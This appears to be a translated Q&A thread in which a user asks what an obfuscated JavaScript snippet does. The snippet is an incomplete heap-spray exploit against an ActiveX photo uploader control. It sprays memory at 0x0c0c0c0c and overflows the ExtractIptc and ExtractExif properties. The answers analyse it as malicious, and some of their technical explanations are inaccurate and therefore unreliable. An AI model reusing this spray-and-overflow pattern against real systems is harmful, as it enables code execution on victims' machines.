6

このコード スニペットがわかりません:

function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }  

上記の関数では、変数の型を把握したり、hsta変数で何をしているのか、何を割り当てているのかを把握できないようです。

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;

私もこの機能を理解できません:

function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }

次のコードはどういう意味ですか?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

これはどのような変数ですか?

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

最も重要なのは、そのコード スニペットが何をしようとしているのかということです。

さらにいくつかの関数を次に示します。

function hex(num,width){
    var digits='0123456789ABCDEF';
    var hex=digits.substr(num&0xF,1);
    while(num>0xF){
        num=num>>>4;
        hex=digits.substr(num&0xF,1)+hex;
        } 
    var width=(width?width:0);
    while(hex.length<width)hex='0'+hex;
    return hex; 
}

function addr(addr){
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
    }

任意のガイダンスをいただければ幸いです。

4

2 に答える 2

26

これは、Facebook に関連するセキュリティの脆弱性を悪用しようとする JavaScript スニペットであり、より具体的には、画像アップローダのクライアント側 ActiveX コントロールに関連しています。

この部分は、たまたま ActiveX フォト アップローダー コントロールであるcobjClassID のオブジェクトを作成しようとします。{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}ExtractIptc および ExtractExif 関数は、その特定の ActiveX コントロールに属しています。

コードの核となるのは、メモリ アドレスの操作、シフト、マスクを使用して上位ビットと下位ビットを分離することです。たとえばhex((addr>>16)&0xFFFF,4))、アドレスを取得し、16 ビット右にシフトし、下位部分をクリアして 16 進数に変換します。このコードの大部分を実際に理解するには、適切なデバッグ ツールが必要です。

{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}ClassID をグーグルで検索すると、調査すべき興味深い結果が得られました。

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

これは PHP ではないことに注意してください。ジャバスクリプトです。

詳細...

cobj はおそらく CreateObject() 呼び出しに変換されます。登録されたすべての ActiveX コントロールには独自のクラス ID があり、フォームは{0000000000-0000-0000-0000-000000000000}です。登録されたライブラリを参照し、そのインスタンスを作成する場合は、その名前またはクラス ID を使用できます。

ActiveX コントロール自体は、コンピューター上の .OCX または .DLL ファイルである必要があります。このファイルを見つけてデバッグできれば、ExtractIptc および ExtractExif 関数に関する最も具体的な詳細を取得できます。繰り返しになりますが、これらの 2 つの関数は、特定の方法で呼び出されると脆弱性を持つように見えます。これは、そのスクリプトが悪用しようとしているものです。

このvar hsta=0x0c0c0c0c部分は、16 進数の 0c0c0c0c に等しい変数 hsta を定義します。と書くのと同じvar hsta = 202116108です。コンピューター エンジニアリングでは、コンピューターのメモリ内のアドレスとデータは 2 進数であり、16 進数として直接表現できるため、10 進数よりも 16 進数のアドレスを扱う方が簡単です。16 進数の詳細については、http: //en.wikipedia.org/wiki/Hexadecimalを参照してください。

変数名 hsta はハンガリー表記のようです (最初の文字は変数の型を表します - 16 進数の h)。したがって、16 進数の開始アドレス(hsta) を意味すると思います。同じ一連の考えに従って、私の推測では、これplはペイロードをplc意味し、ペイロード コードを意味します。

ペイロード コードは、エクスプロイトが成功した場合にコンピューターが実行するコードであり、スクリプトの先頭に表示されます(\x43\x43\x43\x43\n....\xEF)。これは、特定の CPU アーキテクチャとオペレーティング システムのシェル コードとしてエンコードされます。これは、既にコンパイル済みでスタンドアロンであり、CPU に直接パイプできるコードを意味します。これをデコードすると、おそらく機械語に近いものが見つかるでしょう。それはおそらくポジティブなことではありません。

このhex(num,width)関数は、10 進数を 16 進数形式に変換します。関数を個別にテストしたところ、1000 を入力すると 3E8 が返されました。 width 変数は、結果の 16 進数が指定よりも大きい場合にスクリプトを終了するために使用されます。

この部分について:

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

buf 変数はバッファです。バッファは、メモリ内のデータにすぎません。このコードに示すように、文字列としてインターフェイスできます。私の推測では、メモリ内の 0x0c0c0c0c の内容から 400 バイトのバッファが作成され、2 つの関数に渡されます。

ここにはいくつかの関数定義がありません。つまり、hav() 関数です。

于 2009-03-16T18:36:34.583 に答える
1

フォーマットを可能な限り修正しましたが、まだチャンクが欠落しているようです。少なくとも、構文エラー、初期化されていない変数などが表示されます。

これが実際に動作するコードである場合は、質問を編集して (「コード」ボタン「101/010」を使用するか、「」ボタンで引用するのではなく 4 つのスペースをインデントして) 実際のコードを投稿して、表示されるコードが一致するようにしてください。編集: このコードを実行しようとしないでください! おそらく悪質です

コードが機能しない場合は、答えがあります。機能しないため、どのように機能するかを理解しようとしても意味がありません。

于 2009-03-16T18:34:02.953 に答える